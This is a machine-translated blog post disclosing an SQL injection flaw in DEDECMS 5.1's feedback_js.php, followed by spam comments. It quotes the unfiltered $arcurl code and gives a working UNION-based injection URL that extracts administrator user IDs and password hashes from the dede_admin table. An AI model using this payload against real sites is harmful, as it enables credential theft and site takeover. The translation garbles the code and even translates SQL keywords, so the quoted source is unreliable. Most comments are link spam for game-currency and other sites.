DEDECMS 5,1-feedback_js.php 0day 0day, DEDECMS, DEDECMS 5.1, feedback

DEDECMS 5,1 feedback_js.php 0day

Ta vnos je bil objavljen na oktober 11 2009

Avtor: st0p Rainy'Fox
Razmnoževati se navede vir: http://www.st0p.org http://bbs.erpangzi.com/

To ranljivost se nahaja in Rainy'Fox je na voljo tudi v primeru magic_quotes_gpc = off

Ranljivost Različica: Članki Stanovanje 5,1
To je mogoče izkoristiti, da bi dobili skrbniški račun v ozadju in šifriranje haše, obstajajo vrzeli datoteko plus / feedback_js.php, ki nefiltrirana parametrov za $ arcurl

  ......
 0 ; $ Urlindex = 0;
 empty ( $arcID ) ) if (prazna ($ ARCID))
 {
	 $dlist -> dsql -> GetOne ( "Select id From `#@__cache_feedbackurl` where url=' $arcurl ' " ) ; $ Vrstica = $ dlist -> dsql -> GetOne ("Izberite id Od` @ # __ cache_feedbackurl ', kjer url = "$ arcurl'");
        / / Tukaj $ arcurl brez filtra
	 is_array ( $row ) ) $urlindex = $row [ 'id' ] ; if (is_array ($ vrstica)) $ urlindex = $ vrstica ['id'];
       / / Predstavite se rezultati dajo dolarjev urlindex določi za poizvedbe v $ vrstica ['id'], lahko gradnjo SQL v naslednjem poslovanja
 }
 empty ( $arcID ) && empty ( $urlindex ) ) exit ( ) ; if (prazna ($ ARCID) && prazna ($ urlindex)) exit ();
 / / Če $ ARCID je prazna, ali $ urlindex prazna izhod
 ......
 empty ( $arcID ) ) $wq = " urlindex = ' $urlindex ' " ; if (prazna ($ ARCID)) $ wq = "urlindex = '$ urlindex" ";
 / / $ ARCID je prazna, tik nad rezultati izvajanja bodo dodeljena $ wq v opravljene naslednje postopke.
 = " aid=' $arcID ' " ; drugega $ wq = "pomoč = '$ ARCID" ";
  "select * from `#@__feedback` where $wq and ischeck='1' order by dtime desc" ; $ Querystring = "SELECT * FROM` # @ __ feedback ', kjer $ wq in ischeck = '1', da ga dtime opis izdelka ";
 Init ( ) ; $ Dlist -> Init ();
 SetSource ( $querystring ) ; $ Dlist -> SetSource ($ querystring);
 ......

Poglej uporabo, hej, zaprta uporabljam dva unijo

  http://st0p/dedecms51/plus/feedback_js.php?arcurl = 'sindikat izberite "" in 1 = 2 unija izberite 1,1,1, USERID 3,1,3,3, ki pwd, 1,1,3 , 1,1,1,1,1 od dede_admin kjer 1 = 1 unija izberite * od dede_feedback kjer 1 = 2 in'' = '"od dede_admin kjer'' ='

Žal, tudi in Rainy'Fox ta tip, da bi našli ciljno preizkus, ko je dejansko dejal, lahko na magic_quotes_gpc = o tem, kdaj skozi .... ta ideja preveč YD .. preveč grozno, da bo res to dosegli sektor omrežje bi kaos, veliko programov so privzeto v PHP magic_quotes_gpc izklopljen, bo poklical svojo vlogo pobeg ... lahko res dosegli, da je nočna mora za PHP program ...

Naučite ° borilnih Goljufije umetnosti

347 odgovorov v "DEDECMS 5,1 feedback_js.php 0day"

Z хостинг na Nov 19, 2009 | Odgovori
zelo intiresno, hvala
Z AKfour sedem na Dec 1, 2009 | Odgovori
Stojim danes tukaj ponižal z nalogo pred [url = http://www.bawwgt.com] kamas dofus [/ url], hvaležen za zaupanje, ki ste jih podeljuje, zavedajoč se žrtve, ki jih nosijo naš [url = http:/ / www.bawwgt.com] poceni kamas dofus [/ url]. Zahvaljujem se predsedniku [url = http://www.bawwgt.com] dofus moč Izravnavo [/ url] za svoje storitve na [url = http://www . bawwgt.com] nakup dofus kamas [/ url], pa tudi velikodušnost in sodelovanje, ki ga je prikazano v tem prehodu.
Z wsewtoexg na Dec 3, 2009 | Odgovori
CMvNTO honoyhhectcq , [url = http://bqjmruocdqwf.com/ bqjmruocdqwf [/ url], [link = http://mdbdixbzaeau.com/] mdbdixbzaeau [/ link], http://njofsuttytxm.com/
Z tedy na Dec 5, 2009 | Odgovori
Le 34 dni pred DOFUS 2,0 2. december me o tem bo, preden bomo vedeli, [url = http://www.bawwgt.com/fr] kamas dofus [/ url]. Na [url = http://www.bawwgt.com / fr] dofus kamas moins chers [/ url] bo vsak igralec odkrili povsem novo izkušnjo DOFUS. [url = http://www.bawwgt.com/fr] acheter des dofus kamas [/ url] morajo biti zadovoljni z poročil in forumih. Kljub temu [url = http://www.bawwgt.com/fr] kamas achat dofus [/ url], tam ¡ ¯ Še vedno nekaj naših igralcev dragi v forumih.
Z kupiti strattera na Dec 13, 2009 | Odgovori
to je super novica. Hvala.
Z Seengart na Dec 14, 2009 | Odgovori
huh ... informativne stil ..
Z Natasha-spleta na Dec 16, 2009 | Odgovori
Vdaka ZA zaujimavy blog
Z ConradSimone na Mar 8, 2012 | Odgovori
No to je zelo zanimivo indeed.Would ljubezen brati malo več o tem. Občudovali dragocene informacije, ki jih ponujajo v svojih člankih.
Conrad s Simone